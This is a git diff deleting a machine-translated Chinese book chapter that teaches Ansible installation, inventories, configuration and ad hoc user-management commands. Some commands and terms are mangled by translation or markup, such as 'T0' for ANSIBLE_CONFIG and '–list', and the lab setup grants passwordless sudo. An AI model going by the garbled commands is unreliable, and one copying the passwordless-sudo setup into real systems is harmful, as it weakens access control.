T6】)*********** \ No newline at end of file diff --git a/docs/master-linux-admin/15.md b/docs/master-linux-admin/15.md deleted file mode 100644 index d1e381e9..00000000 --- a/docs/master-linux-admin/15.md +++ /dev/null @@ -1,2167 +0,0 @@ -# 十五、使用 Ansible 实现工作流自动化 - -如果您的日常系统管理或开发工作涉及繁琐和重复的操作,**Ansible**可以帮助您运行任务,同时节省宝贵的时间。 Ansible 是一个用于自动化软件供应、配置管理和应用部署工作流的工具。 Ansible 最初由 Michael DeHaan 在 2012 年开发,在 2015 年被 Red Hat 收购,现在作为一个开源项目维持。 - -在本章中,您将学习关于 Ansible 的基本概念,以及各种实践示例。 特别地,我们将探讨以下主题: - -* 引入 Ansible -* 安装 Ansible -* 使用 Ansible - -# 技术要求 - -首先,您应该熟悉 Linux 命令行 Terminal。 Linux 的中级知识将帮助您理解本章中使用的一些复杂的实际插图。 您还应该精通使用基于 linux 的文本编辑器。 对于动手操作的示例,我们建议设置一个与我们正在使用的类似的实验室环境。 你可以在`README`文件中找到相关的说明,这些说明包含在本书的 GitHub 存储库的补充资源中。 - -如果您没有配置实验室环境,您仍然可以从本章中与实际示例相关的详细解释中获益。 - -现在,让我们从介绍关于 Ansible 的入门概念开始我们的旅程。 - -# 介绍 Ansible - -在本章开篇的一段中,我们抓住了 Ansible 的一个重要方面——它是一种自动化工作流的工具。 几乎任何 Linux 系统管理任务都可以使用 Ansible 实现自动化。 使用 Ansible CLI,我们可以调用简单的命令来更改系统的**所需状态**。 通常,使用 Ansible,我们在一个远程主机或一组主机上执行任务。 - -让我们使用包管理的经典示例。 假设你正在管理一个基础设施,其中包括一组 web 服务器,你计划在所有这些服务器上安装一个最新版本的 web 服务器应用(Nginx 或 Apache)。 完成这项任务的一种方法是通过 SSH 进入每个主机,并运行相关的 shell 命令来安装最新的 web 服务器包。 如果你有很多机器,这将是一个大任务。 您可能会说,您可以编写一个脚本来自动化这项工作。 这是可能的,但这样你就有另一份工作要做了; 也就是说,维护脚本、修复可能的错误,以及随着基础设施的增长而添加新特性。 - -在某些情况下,您可能需要在多个主机上管理用户或数据库或配置网络设置。 很快,您将看到一种瑞士军刀工具,它具有您宁愿免费获得而不是自己编写的功能。 这就是 Ansible 派上用场的地方。 Ansible 拥有无数的模块(对于几乎任何您可以想象的系统管理任务),它可以远程配置、运行或部署您所选择的管理作业,以一种非常安全、高效的方式,付出最少的努力。 - -我们将通过简要介绍 Ansible 架构巩固这些初步想法。 - -## 理解 Ansible 架构 - -核心 Ansible 框架是用 Python 编写的。 让我们先提一下,Ansible 有一个**无 agent**架构。 换句话说,Ansible 在一个在远程主机上执行命令的**控制节点**上运行,而不需要在托管主机上安装远程端点或服务来与控制节点通信。 至少,Ansible 通信的唯一要求是 SSH 连接到托管主机。 然而,如果主机没有安装 Python 框架,那么 Ansible 操作的数量将相对限于只运行脚本和原始 SSH 命令。 大多数服务器操作系统平台已经默认安装了 Python。 - -Ansible 可以使用安全 SSH 连接从一个控制节点管理一个远程主机舰队。 下图显示了使用 Ansible 管理基础设施的**逻辑布局**: - -![Figure 15.1 – The logical layout of a managed infrastructure using Ansible](img/B13196_15_01.jpg) - -图 15.1 -使用 Ansible 管理基础设施的逻辑布局 - -产品级**企业环境通常包括一个配置管理数据库**(**CMDB)信息技术组织**(**【显示】)基础设施资产。 IT 基础设施资产的示例包括服务器、网络、服务和用户。 尽管 CMDB*不是 Ansible 体系结构的直接部分,但是 CMDB*描述了*资产和他们在管理基础设施中的关系,并且可以被用来构建 Ansible**库存**。******* - -库存是本地存储 Ansible 控制节点——通常是一个**INI**或**YAML 文件描述**主机管理——**或**组**的主机。 库存可以从 CMDB 中推断出来,也可以由系统管理员手动创建。** - -现在,让我们仔细看看下面图表中显示的高级 Ansible 架构: - -![Figure 15.2 – The Ansible architecture](img/B13196_15_02.jpg) - -图 15.2 - Ansible 架构 - -上图显示了 Ansible 控制节点与私有或公共云基础设施中的托管主机进行交互。 以下是对建筑视图中各区块的简要描述: - -* **API 和核心框架**:封装 Ansible 核心功能的主要库; Ansible 核心框架是用 Python 编写的。 -* **插件**:额外的库扩展核心框架的功能; 示例包括**连接插件**(例如云连接器),**测试插件**(验证特定的响应数据),**回调插件**(响应事件),以及更多。 -* **模块**:这些模块封装了运行在托管主机上的特定功能; 例如包括**用户**模块(管理用户)、**包**模块(管理软件包)等等。 -* **库存**:INI 或 YAML 文件,描述 Ansible 命令和剧本所针对的主机和主机组。 -* **Playbooks**:Ansible 执行文件,描述一组以托管主机为目标的任务。 -* **私有或公共云**:受管理的基础设施,托管在本地或各种云环境(例如 VMware、AWS 和 Azure)中。 -* **托管主机**:Ansible 命令和剧本的目标服务器 -* **CLI**:AnsibleCLI 工具,如**Ansible**,**Ansible -playbook**,**Ansible -doc**等。 -* **Users**:管理员、超级用户和运行 Ansible 命令或剧本的自动化用户进程。 - -现在我们已经对 Ansible 的架构有了基本的了解,让我们看看是什么让 Ansible 成为自动化管理工作流的好工具。 接下来我们将介绍**配置管理**的概念。 - -## 介绍配置管理 - -如果我们回顾一下以前,系统管理员通常管理的服务器数量相对较少,通过在每个主机上使用远程 shell 来运行日常管理任务。 相对简单的操作,如复制文件、更新软件包和管理用户,可以很容易地编写脚本并定期重用。 随着最近应用和服务的激增,在互联网的巨大扩张的驱动下,现代的本地和基于云的 IT 基础设施——支撑相关平台——已经显著增长。 所涉及的配置更改的数量远远超过一个管理人员运行和维护少量脚本的能力。 这就是配置管理来拯救的地方。 - -通过配置管理,将被管理的主机和资产按照特定的标准进行逻辑分组,如图*图 15.1*所示。 管理主机以外的资产最终归结为在托管这些资产的服务器上执行特定的任务。 配置管理清单是 Ansible 目录文件。 因此,Ansible 成为配置管理端点。 - -使用 Ansible,我们可以运行单个一次性的命令来执行特定的任务,但是可以通过剧本实现更有效的配置管理工作流。 使用 Ansible 剧本,我们可以在任意数量的主机上运行针对目标平台的各个子系统的多个任务。 为定期维护和配置管理任务调度 ansible-playbook 运行是 IT 基础设施自动化中的常见实践。 - -针对特定目标反复(或按计划)运行 Ansible 任务会引起对由于重复操作而导致的期望状态中不希望发生的更改的关注。 这个问题将我们带到配置管理的一个基本方面——配置更改的**等幂**。 我们来看看接下来是什么幂等变化。 - -### 解释幂等操作 - -在配置管理中,一个操作是幂等的,当它多次运行时产生的结果与运行一次相同。 从这个意义上说,Ansible 是一个幂等配置管理工具。 - -假设我们有一个创建用户的 Ansible 任务。 当任务第一次运行时,它创建用户。 当用户已经创建时再次运行它,将导致一个**无操作**(**无操作**)。 *如果没有*幂等性,同一任务的后续运行将由于试图创建一个已经存在的用户而产生错误。 - -我们应该注意到,Ansible 并不是市场上唯一的配置管理工具。 我们有**Chef**,**Puppet**,and**SaltStack**等等。 这些平台中的大多数已经被大型企业收购,例如 VMware 拥有的 SaltStack,并且一些人可能会认为 Ansible 的成功应该归功于 Red Hat 开源项目。 Ansible 似乎是当今最成功的配置管理平台。 业界的共识是,Ansible 在企业级部署中提供了用户友好的体验、高可伸缩性和负担得起的许可层。 - -在介绍了这些入门概念之后,让我们卷起袖子,在您选择的 Linux 平台上安装 Ansible。 - -# 安装 Ansible - -在本节中,我们将向您展示如何在控制节点上安装 Ansible。 在 Linux 上,我们可以通过以下几种方式安装 Ansible: - -* 使用特定于平台的包管理器(例如,Ubuntu/Debian 上的`apt`和 RHEL/CentOS 上的`yum`) -* 使用 Python 包管理器`pip` - -Ansible 社区推荐安装 Ansible`pip`,因为它提供了 Ansible 最新的稳定版本。 在本节中,我们将使用 Ubuntu 和 RHEL/CentOS 上的两种方法。 要获得所有主要操作系统平台的完整的 Ansible 安装指南,请遵循[https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html)的在线文档。 - -在控制节点上,Ansible 需要 Python,所以在安装 Ansible 之前,我们需要确保我们的系统已经安装了 Python。 - -重要提示 - -2020 年 1 月 1 日起不再支持 Python 2。 请使用 Python 3 代替。 - -让我们先在 Ubuntu 上安装 Ansible。 - -## 安装 Ansible - -在 Ubuntu 20.04 中,我们默认安装了 Python 3。 让我们使用以下命令检查我们的 Python 3 版本: - -```sh -python3 --version -``` - -在我们的 Ubuntu 20.04 机器上,Python 版本如下: - -```sh -Python 3.8.5 -``` - -如果你没有安装 Python 3,你可以使用以下命令来安装它: - -```sh -sudo apt-get install -y python3 -``` - -在安装了 Python 3 之后,我们可以继续安装 Ansible。 为了使用`apt`获得最新的 Ansible 包,我们需要将 Ansible**Personal Package Archives**(**PPA**)存储库添加到我们的系统。 - -让我们从更新当前的`apt`存储库开始: - -```sh -sudo apt-get update -``` - -接下来,我们必须添加 Ansible PPA: - -```sh -sudo apt-get install -y software-properties-common -sudo apt-add-repository -y --update ppa:ansible/ansible -``` - -现在,我们可以使用以下命令安装 Ansible 包: - -```sh -sudo apt-get install -y ansible -``` - -安装了 Ansible 之后,我们可以检查它的当前版本: - -```sh -ansible --version -``` - -在我们的例子中,前一个命令的输出中相关的摘录如下: - -```sh -ansible 2.9.6 -``` - -接下来,我们将看看如何在 RHEL/CentOS 系统上安装 Ansible。 - -## 在 RHEL/CentOS 上安装 Ansible - -首先,我们需要确保 Python 安装在我们的系统上。 在最小的**Red Hat Enterprise Linux**(**RHEL**)/CentOS 8 发行版中,Python 默认不安装。 目前,RHEL/CentOS 8 上可用的 Python 的最新版本是 Python 3.8。 让我们用下面的命令安装它: - -```sh -sudo yum install -y python38 -``` - -安装了 Python 3 后,我们可以通过运行以下命令来检查其当前版本: - -```sh -python --version -``` - -在我们的例子中,输出如下: - -```sh -Python 3.8.3 -``` - -在 RHEL/CentOS 上,Ansible 可以通过**Extra Packages for Enterprise Linux**(**EPEL**)存储库获得。 让我们启用 EPEL 存储库: - -```sh -sudo yum install -y epel-release -``` - -现在,我们可以安装 Ansible: - -```sh -sudo yum install -y ansible -``` - -安装了 Ansible 之后,我们可以检查它的当前版本: - -```sh -ansible --version -``` - -在我们的例子中,上述输出的相关摘录如下: - -```sh -ansible 2.9.18 -``` - -接下来,我们将看看如何使用`pip`安装 Ansible。 - -## 使用 pip 安装 Ansible - -在用`pip`安装 Ansible 之前,我们需要确保系统上安装了 Python。 我们假设 Python 3 是基于前面介绍的步骤安装的。 接下来,我们应该删除安装了特定于平台的包管理器的 Ansible 的任何现有版本(例如,`apt`或`yum`)。 - -在 Ubuntu 上卸载 Ansible,运行如下命令: - -```sh -sudo apt-get remove -y ansible -``` - -在 RHEL/CentOS 上,我们可以用下面的命令删除 Ansible: - -```sh -sudo yum remove -y ansible -``` - -接下来,我们必须确保安装了`pip`。 下面的命令应该提供当前版本的`pip`: - -```sh -python3 -m pip --version -``` - -在我们的例子中,输出显示如下: - -```sh -pip 21.0.1 from /home/packt/.local/lib/python3.8/site-packages/pip (python 3.8) -``` - -如果`pip`没有安装,我们必须先下载`pip`安装程序: - -```sh -curl -s https://bootstrap.pypa.io/get-pip.py -o get-pip.py -``` - -现在,我们已经准备好使用以下命令安装`pip`和 Ansible 了: - -```sh -python3 get-pip.py --user -python3 -m pip install --user ansible -``` - -请注意,使用前面的命令,我们只为当前用户安装了`pip`和 Ansible。 如果您想在系统上全局安装 Ansible*,等效的命令如下:* - -```sh -sudo python3 get-pip.py -sudo python3 -m pip install ansible -``` - -安装完成后,在使用 Ansible 之前,您可能需要注销并重新登录到终端。 使用以下命令检查安装的 Ansible 版本: - -```sh -ansible --version -``` - -在我们的例子中,输出显示如下: - -```sh -ansible 2.10.7 -``` - -如您所见,您可以通过使用`pip`获得 Ansible 的最新版本。 因此是安装 Ansible 的推荐方法。 - -在控制节点上安装了 Ansible 之后,让我们看看一些使用 Ansible 的实际示例。 - -# 与 Ansible 合作 - -从这个小节开始,我们将广泛使用 Ansible CLI 工具来执行各种配置管理任务。 为了展示我们的实际示例,我们将使用一个定制的实验室环境,我们强烈建议您复制它以获得完整的配置管理体验。 - -以下是本节的概要: - -* 搭建实验室环境 -* 配置 Ansible -* 使用 Ansible ad hoc 命令 -* 使用 Ansible 剧本 - -让我们从实验室环境的概述开始。 - -## 搭建实验室环境 - -我们的实验室使用 VMwareFusion 作为虚拟环境的桌面管理程序,但是任何其他管理程序都可以。 [*第 1 章*](01.html#_idTextAnchor014),*安装 Linux*详细描述了使用 VMware Fusion 和 Oracle VM VirtualBox 创建 Linux 虚拟机的过程。 我们部署了以下虚拟机来模拟真实的配置管理基础设施: - -* `Neptune`:Ansible 控制节点(Ubuntu)。 -* `web1`:web 服务器(Ubuntu)。 -* `web2`:web 服务器(CentOS)。 -* `db1`:数据库服务器(Ubuntu)。 -* `db2`:数据库服务器(CentOS)。 -* `neptune`、`web1`、`db1`虚拟机运行在 Ubuntu 20.04 LTS 服务器上,`web2`、`db2`虚拟机安装了 RHEL/CentOS 8。 所有虚拟机都安装了默认的服务器组件。 在每个主机上,我们创建了一个默认的管理用户`packt`,并启用了 SSH 访问。 我们在本书的第一章中描述了 Ubuntu 和 RHEL/CentOS 服务器平台的相关安装过程。 - -现在,让我们简要描述这些 vm 的设置,首先从托管主机开始。 - -### 设置被管理的主机 - -被管理主机要想从 Ansible 控制节点完全启用配置管理访问,有几个关键要求: - -* 它们必须运行 OpenSSH 服务器。 -* 他们必须安装 Python。 - -我们假设您已经在主机上启用了 OpenSSH。 要安装 Python,您可以按照*安装 Ansible*一节中描述的相关步骤进行安装。 - -重要提示 - -被管理的主机不需要在系统上安装 Ansible。 - -要设置每个虚拟机的主机名,可以运行以下命令(例如,对于`web1`主机名): - -```sh -sudo hostnamectl set-hostname web1 -``` - -我们还希望禁用托管主机上的`sudo`登录密码,以便在运行自动化脚本时进行无人值勤权限升级。 如果我们不做这个修改,远程执行 Ansible 命令将需要一个密码。 - -要禁用`sudo`登录密码,使用以下命令编辑`sudo`配置: - -```sh -sudo visudo -``` - -添加以下一行并保存配置文件。 将`packt`替换为您的用户名,如果它是不同的: - -```sh -packt ALL=(ALL) NOPASSWD:ALL -``` - -您必须在所有托管主机上进行此更改。 - -接下来,我们将看看 Ansible 控制节点的初始设置。 - -### 建立 Ansible 控制节点 - -Ansible 控制节点(`neptune`)使用 Ansible 命令和剧本与被管理主机(`web1`、`web2`、`db1`和`db2`交互。 为了方便起见,我们的示例将通过主机名而不是 IP 地址引用托管主机。 为了方便地实现这一点,我们在 Ansible 控制节点(`neptune`)上的`/etc/hosts`文件中添加了以下条目: - -```sh -127.0.0.1 neptune localhost -172.16.191.12 web1 -172.16.191.13 db1 -172.16.191.14 web2 -172.16.191.15 db2 -``` - -您必须根据 VM 环境匹配主机名和 IP 地址。 - -接下来,我们必须安装 Ansible。 根据您选择的平台,使用本章前面的*安装 Ansible*小节中描述的相关过程。 在本例中,我们按照*带 pip*部分中的步骤安装 Ansible,以便在撰写本文时受益于最新的 Ansible 版本 2.10.7。 - -最后,我们将在 Ansible 控制节点和托管主机之间建立基于 SSH 密钥的身份验证。 - -### 建立 SSH 密钥认证 - -Ansible 使用 SSH 与被管理主机通信。 SSH 密钥认证机制使远程 SSH 接入不需要输入用户密码。 如果需要开启 SSH 密钥认证,请在 Ansible 控制主机(`neptune`)上执行如下命令。 - -使用以下命令生成安全密钥对,并遵循默认提示: - -```sh -ssh-keygen -``` - -生成密钥对后,将相关的公钥复制到每个托管主机。 您必须一次瞄准一个主机,并使用远程`packt`用户的密码进行身份验证。 当提示时接受 SSH 密钥交换: - -```sh -ssh-copy-id -i ~/.ssh/id_rsa.pub packt@web1 -ssh-copy-id -i ~/.ssh/id_rsa.pub packt@web2 -ssh-copy-id -i ~/.ssh/id_rsa.pub packt@db1 -ssh-copy-id -i ~/.ssh/id_rsa.pub packt@db2 -``` - -现在,您应该能够通过 SSH 从 Ansible 控制节点(`neptune`)进入任何托管主机,而不会提示输入密码。 例如,要访问`web1`,您可以使用以下命令进行测试: - -```sh -ssh packt@web1 -``` - -该命令将带您到远程服务器的(`web1`)终端。 在执行接下来的步骤之前,请确保返回到 Ansible 控制节点的终端(在`neptune`上)。 - -现在我们可以在控制节点上配置 Ansible 了。 - -## 配置 Ansible - -本节探讨了与 Ansible**配置文件**和**目录**相关的 Ansible 的一些基本配置概念。 使用配置文件和其中的参数,我们可以更改 Ansible 的*行为*,例如特权升级、连接超时和默认目录文件路径。 目录*定义了*所管理的主机,作为 Ansible 的配置管理数据库。 - -让我们先看看 Ansible 的配置文件。 - -### 创建 Ansible 配置文件 - -下面的命令提供了一些关于 Ansible 环境的有用信息,包括当前的配置文件: - -```sh -ansible --version -``` - -下面是前一个命令的完整输出: - -![Figure 15.3 – The default Ansible configuration settings](img/B13196_15_03.jpg) - -图 15.3 -默认的 Ansible 配置设置 - -默认的 Ansible 安装将配置文件路径设置为`/etc/ansible/ansible.cfg`。 正如您可能猜到的那样,默认配置文件具有全局作用域,这意味着在运行 Ansible 任务时默认使用它。 - -如果同一个控制主机上有多个用户在运行 Ansible 任务,该怎么办? 我们本能地认为,每个用户可能都有自己的一组配置参数。 Ansible 通过在用户的主目录中查找`~/.ansible.cfg`文件来解决这个问题。 让我们通过在用户(`packt`)的主目录中创建一个虚拟的配置文件来验证这个行为: - -```sh -touch ~/.ansible.cfg -``` - -`ansible --version`命令的新调用现在会产生以下配置文件路径: - -```sh -config file = /home/packt/.ansible.cfg -``` - -换句话说,`~/.ansible.cfg`优先于*全局配置文件`/etc/ansible/ansible.cfg`。* - -现在,假设我们的用户(`packt`)创建多个 Ansible 项目,其中一些管理本地主机,另一些与公共云资源交互。 同样,我们可能需要一组不同的 Ansible 配置参数(例如连接超时和库存文件)。 Ansible 通过在当前文件夹中查找`./ansible.cfg`文件来适应这种情况。 - -让我们在一个新的`~/ansible/`目录中创建一个虚拟的`ansible.cfg`文件: - -```sh -mkdir ~/ansible -touch ~/ansible/ansible.cfg -``` - -切换到`~/ansible`目录并调用`ansible --version`命令会显示以下配置文件: - -```sh -config file = /home/packt/ansible/ansible.cfg -``` - -我们可以将项目目录命名为任何名称,不一定是`/home/packt/ansible`。 Ansible 将用户主目录中的`./ansible.cfg`文件优先于`~/.ansible.cfg`配置文件。 - -最后,我们可能希望配置文件具有极大的灵活性,不依赖于 Ansible 命令生成的目录或位置。 在不更改主配置文件的情况下测试临时配置时,这样的特性可能很有帮助。 为此,Ansible 为配置文件的路径读取`ANSIBLE_CONFIG`环境变量。 - -假设我们在`./ansible`项目文件夹中,其中我们已经定义了本地`ansible.cfg`文件,让我们创建一个虚拟的测试配置文件`test.cfg`: - -```sh -cd ~/ansible -touch test.cfg -``` - -现在,让我们验证当设置了`ANSIBLE_CONFIG`环境变量时,Ansible 将从`test.cfg`而不是`ansible.cfg`读取配置: - -```sh -ANSIBLE_CONFIG=test.cfg ansible --version -``` - -输出如下所示: - -```sh -config file = /home/packt/ansible/test.cfg -``` - -我们应该注意,配置文件应该始终具有`.cfg`扩展名。 否则,Ansible 会丢弃它。 - -下面是一个列表,总结了 Ansible 配置文件从低优先级到高优先级的顺序: - -* `/etc/ansible/ansible.cfg` -* 用户的主目录中的`~/.ansible.cfg`文件 -* 本地目录中的`./ansible.cfg`文件 -* 环境变量 T0 - -在我们的示例中,我们将依赖于本地项目目录(`~/ansible`)中的`ansible.cfg`配置文件。 让我们创建这个配置文件,暂时把它留空: - -```sh -mkdir ~/ansible -cd ~/ansible -touch ansible.cfg -``` - -在本章的其余部分中,除非另有说明,否则我们将从`~/ansible`文件夹运行 Ansible 命令。 - -除非在配置文件中明确定义(重载)配置参数,否则 Ansible 将采用系统默认值。 我们将添加到配置文件的一个属性是目录文件路径。 但首先,我们得创建库存。 下面一节将向您展示如何做到这一点。 - -### 创建一个 Ansible 清单 - -Ansible 库存是一个常规的**INI**或**YAML**文件,描述被管理的主机。 在其最简单的形式中,目录可以是主机名或 IP 地址的平面列表,但 Ansible 也可以将**主机**组织为**组**。 Ansible 目录文件可以是**静态**或者**动态**,这取决于它们是手动创建和更新还是动态更新。 现在,我们将使用静态库存。 - -在我们的演示环境中,有两个 web 服务器(`web1`和`web2`)和两个数据库服务器(`db1`和`db2`),我们可以定义以下目录(以 INI 格式): - -```sh -[webservers] -web1 -web2 -[databases] -db1 -db2 -``` - -我们把主人分成两组,用括号括起来; 即`[webservers]`和`[databases]`。 分组是主机按照特定条件进行的逻辑排列。 主机可以属于多个组,例如通过添加`[ubuntu]`和`[centos]`组,如下所示: - -```sh -[ubuntu] -web1 -db1 -[centos] -web2 -db2 -``` - -组名称区分大小写,应始终以字母开头,不应包含连字符(`-`)或空格。 - -Ansible 有两个默认组: - -* **all**:库存中的每台主机 -* **未分组**:**中所有的**宿主不是另一组的成员 - -我们还可以根据特定的模式定义组。 例如,下面的组包含以`web`开始,以`1`-`2`范围内的数字结束的主机名范围: - -```sh -[webservers] -web[1:2] -``` - -当我们管理大量主机时,模式很有帮助。 例如,下面的模式包含一个 IP 地址范围内的所有主机: - -```sh -[all_servers] -172.16.191.[11:15] -``` - -范围定义为`[START:END]`,包含从`START`到`END`的所有值。 范围的例子有`[1:10]`、`[01:10]`和`[a-g]`。 - -组也可以嵌套。 换句话说,一个组可以包含其他组。 这种嵌套用`:children`后缀来描述。 例如,我们可以定义一个包括`[ubuntu]`和`[centos]`组的`[platforms]`组: - -```sh -[platforms:children] -ubuntu -centos -``` - -让我们将库存文件命名为`hosts`。 请注意,我们在`~/ansible`目录中。 使用您选择的 Linux 编辑器,将以下内容添加到`hosts`文件: - -![Figure 15.4 – The inventory file in INI format](img/B13196_15_04.jpg) - -图 15.4 - INI 格式的库存文件 - -`hosts`文件也可以在本章的补充 GitHub 存储库中找到:[https://github.com/PacktPublishing/Mastering-Linux-Administration/blob/main/15/src/ansible/hosts](https://github.com/PacktPublishing/Mastering-Linux-Administration/blob/main/15/src/ansible/hosts)。 在保存库存文件之后,我们可以使用以下命令来验证它: - -```sh -ansible-inventory -i ./hosts –list --yaml -``` - -下面是对该命令参数的简要解释: - -* `-i (--inventory)`:指定库存文件; 即`./hosts` -* `--list`:列出 Ansible 读取的当前库存 -* `--yaml`:指定 YAML 输出格式 - -在成功验证库存之后,该命令将显示等效的 YAML 输出。 (`ansible-inventory`实用程序的默认输出格式是 JSON。) - -到目前为止,我们已经用 INI 格式表达了 Ansible 目录,但是我们也可以使用 YAML 文件来代替。 下图显示了描述相同目录的 INI 和 YAML 文件之间的并排比较: - -![Figure 15.5 – Side-by-side comparison of the INI and YAML inventory formats](img/B13196_15_05.jpg) - -图 15.5 -并排比较 INI 和 YAML 库存格式 - -由于严格的缩进和格式要求,YAML 表示可能有些挑战性,特别是在大型配置中。 在本章的其余部分,我们将继续使用 INI 目录格式。 - -接下来,我们要让安斯贝尔找到我们的存货。 编辑`./ansible.cfg`配置文件,添加如下行: - -```sh -[defaults] -inventory = ~/ansible/hosts -``` - -保存文件之后,就可以运行针对托管主机的 Ansible 命令或任务了。 有两种方式可以执行 Ansible 配置管理任务:使用一次性的**临时命令**和通过**Ansible 剧本**。 接下来我们将研究临时命令。 - -## 使用 Ansible ad hoc 命令 - -特设命令执行单个 Ansible 任务,并提供与托管主机交互的快速方法。 当我们进行简单的更改和执行测试时,这些简单的操作很有帮助。 - -Ansible ad hoc 命令的一般语法如下: - -```sh -ansible [OPTIONS] -m MODULE -a ARGS PATTERN -``` - -上面的命令使用 Ansible`MODULE`在指定的主机上基于`PATTERN`执行特定的任务。 任务是通过参数(`ARGS`)来描述的。 您可能还记得,模块封装了特定的功能,例如管理用户、包和服务。 为了演示临时命令的使用,我们将使用一些最常见的 Ansible 模块来完成配置管理任务。 让我们从 Ansible`ping`模块开始。 - -### 使用 ping 模块 - -最简单的临时命令之一是 Ansible`ping`测试: - -```sh -ansible -m ping all -``` - -该命令在`all`托管主机上执行快速测试,检查它们的 SSH 连接,并确保提供所需的 Python 模块。 下面是输出的摘录: - -![Figure 15.6 – A successful ping test with a managed host](img/B13196_15_06.jpg) - -图 15.6 -托管主机的 ping 测试成功 - -输出表明命令成功(`web1 | SUCCESS`),并且远程服务器(`web1`)响应了我们的 ping 请求(`"ping": "pong"`)。 请注意,Ansible`ping`模块不使用 ICMP 来测试与被管理主机的远程连接。 - -接下来,我们将在使用 Ansible`user`模块时查看临时命令。 - -### 使用用户模块 - -下面是另一个临时命令的示例。 这是检查一个特定的用户(`packt`)是否存在于所有的主机上: - -```sh -ansible -m user -a "name=packt state=present" all -``` - -一个成功的检查将提供以下输出(摘录): - -![Figure 15.7 – Checking if a user account exists](img/B13196_15_07.jpg) - -图 15.7 -检查用户帐户是否存在 - -前面的输出还表明,在检查用户帐户时,我们可以通过确保它们具有特定的用户和组 ID 来更加具体: - -```sh -ansible -m user -a "name=packt state=present uid=1000 group=1000" all -``` - -我们可以针对库存中有限的一部分执行特别命令。 例如,以下命令将只 ping`web1`主机以实现 Ansible 连接: - -```sh -ansible -m ping web1 -``` - -主机模式还可以包含通配符或组名。 下面是一些例子: - -```sh -ansible -m ping web* -ansible -m ping webservers -``` - -接下来让我们看看可用的 Ansible 模块。 在我们这样做之前,你可能想要在`./ansible.cfg`下面的`[defaults]`部分添加以下一行,以减少关于已弃用模块的噪音: - -```sh -deprecation_warnings = False -``` - -要列出 Ansible 中所有的模块,运行以下命令: - -```sh -ansible-doc --list -``` - -您可以搜索或`grep`特定模块的输出。 具体模块的详细信息(例如`user`),可以执行如下命令: - -```sh -ansible-doc user -``` - -确保您检查了特定模块的`ansible-doc`输出中的`EXAMPLES`部分。 您将看到使用特定命令和剧本任务的实际例子。 - -如果我们想在所有的 web 服务器上创建一个新用户(`webuser`),我们可以使用以下临时命令执行 t 相关操作: - -```sh -ansible -bK -m user -a "name=webuser state=present" webservers -``` - -让我们来解释一下命令的参数: - -* `-b (--become)`:将执行上下文更改为`sudo`(`root`)。 -* `-K (--ask-become-pass)`:提示远程主机输入`sudo`密码; 所有被管理的主机使用相同的密码。 -* `-m`:Ansible 模块`user`。 -* `-a`:指定`user`模块参数为键值对; `name=webuser`表示用户名,而`state=present`在尝试创建用户帐户之前检查该用户帐户是否存在。 -* `Webservers`:操作的目标管理主机组。 - -创建用户帐户需要远程主机上的管理(`sudo`)特权。 使用`-b`(`--become`)选项调用相关的**特权升级**,让 Ansible 命令在远程系统上充当*sudoer*。 - -重要提示 - -默认情况下,Ansible 不启用*无人参与*权限升级。 对于需要`sudo`特权的任务,必须显式设置`-b``(--become`)标志。 您可以在 Ansible 配置文件中覆盖此行为。 - -要默认启用无人值守权限升级,请在`ansible.cfg`文件中添加以下行: - -```sh -[privilege_escalation] -become = True -``` - -现在,您不再需要在您的临时命令中指定`--b`(`--become`)标志。 - -如果托管主机上的 sudoer 帐户启用了`sudo`登录密码,我们必须将其提供给我们的临时命令。 在这里,`-K`(`--ask-become-pass`)选项就派上用场了。 因此,我们被要求使用以下消息的密码: - -```sh -BECOME password: -``` - -该密码用于命令所瞄准的所有托管主机。 - -您可能还记得,我们在托管主机上禁用了`sudo`登录密码。 (参见本章前面的*设置实验室环境章节*。) 因此,我们可以重写前面的临时命令,而不显式地要求特权升级和相关的密码: - -```sh -ansible -m user -a "name=webuser state=present" webservers -``` - -有一些关于特权升级的安全问题,而 Ansible 拥有减轻相关风险的机制。 有关此主题的更多信息,请参考[https://docs.ansible.com/ansible/latest/user_guide/become.html](https://docs.ansible.com/ansible/latest/user_guide/become.html)。 - -上面的命令产生如下输出(摘录): - -![Figure 15.8 – Creating a new user using an ad hoc command](img/B13196_15_08.jpg) - -图 15.8 -使用临时命令创建新用户 - -您可能已经注意到,这里的输出文本是黄色的,而不是绿色的,与我们之前的临时命令不同。 Ansible 将输出标记为黄色,如果它对应于托管主机的*期望状态*中的*变化*。 如果您再次运行相同的命令,输出将是绿色的,这表明自从创建用户帐户以来没有发生任何更改。 在这里,我们可以看到 Ansible 的*幂等运算*在起作用。 - -使用前面的命令,我们创建了一个没有密码的用户,仅用于演示目的。 如果我们想添加或修改密码怎么办? 通过使用`ansible-doc user`遍历`user`模块的文档,我们可以在模块参数中使用密码字段,但是 Ansible 只接受*密码散列*作为输入。 对于散列密码,我们将使用一个名为`passlib`的 Python 辅助模块。 让我们用下面的命令把它安装到 Ansible 控制节点上: - -```sh -pip install passlib -``` - -您需要 Python 包管理器(`pip`)来运行前面的命令。 如果您使用`pip`安装 Ansible,应该没问题。 否则,请按照*使用管道*安装 Ansible 章节中的说明下载并安装`pip`。 - -安装了`passlib`后,我们可以使用以下临时命令来创建或修改用户密码: - -```sh -ansible webservers -m user \ -    -e "password=changeit!" \ -    -a "name=webuser \ -        update_password=always \ -        password={{ password | password_hash('sha512') }}" -``` - -以下是帮助设置用户密码的附加参数: - -* `-e`(`--extra-vars`):指定自定义变量为键值对; 我们将自定义变量的值设置为`password=changeit!`。 -* `update_password=always`:如果与前一个密码不同,更新密码。 -* `password={{...}}`:将密码设置为双花括号内的表达式的值。 -* `password | password_hash('sha512')`:将`password`变量(`changeit!`)的值导入`password_hash()`函数,从而生成 SHA-512 哈希值; `password_hash()`是前面安装的`passlib`模块的一部分。 - -该命令将`webuser`的密码设置为`changeit!`,这是在临时命令中使用变量(`password`)的示例。 下面是相关的输出(摘录): - -![Figure 15.9 – Changing the user's password using an ad hoc command](img/B13196_15_09.jpg) - -图 15.9 -使用临时命令更改用户的密码 - -出于明显的安全原因,Ansible 不会显示实际的密码。 - -现在,您可以尝试使用`webuser`帐户 SSH 到任何 web 服务器(`web1`或`web2`),并且您应该能够使用`changeit!`密码成功进行身份验证。 - -要删除所有 web 服务器上的`webuser`帐户,我们可以运行以下临时命令: - -```sh -ansible -m user -a "name=webuser state=absent remove=yes force=yes" webservers -``` - -模块参数`state=absent`调用`webuser`帐户的删除。 `remove`和`force`参数等同于`userdel -rf`命令,删除用户的主目录和其中的任何文件,即使这些文件不属于用户。 - -相关输出如下: - 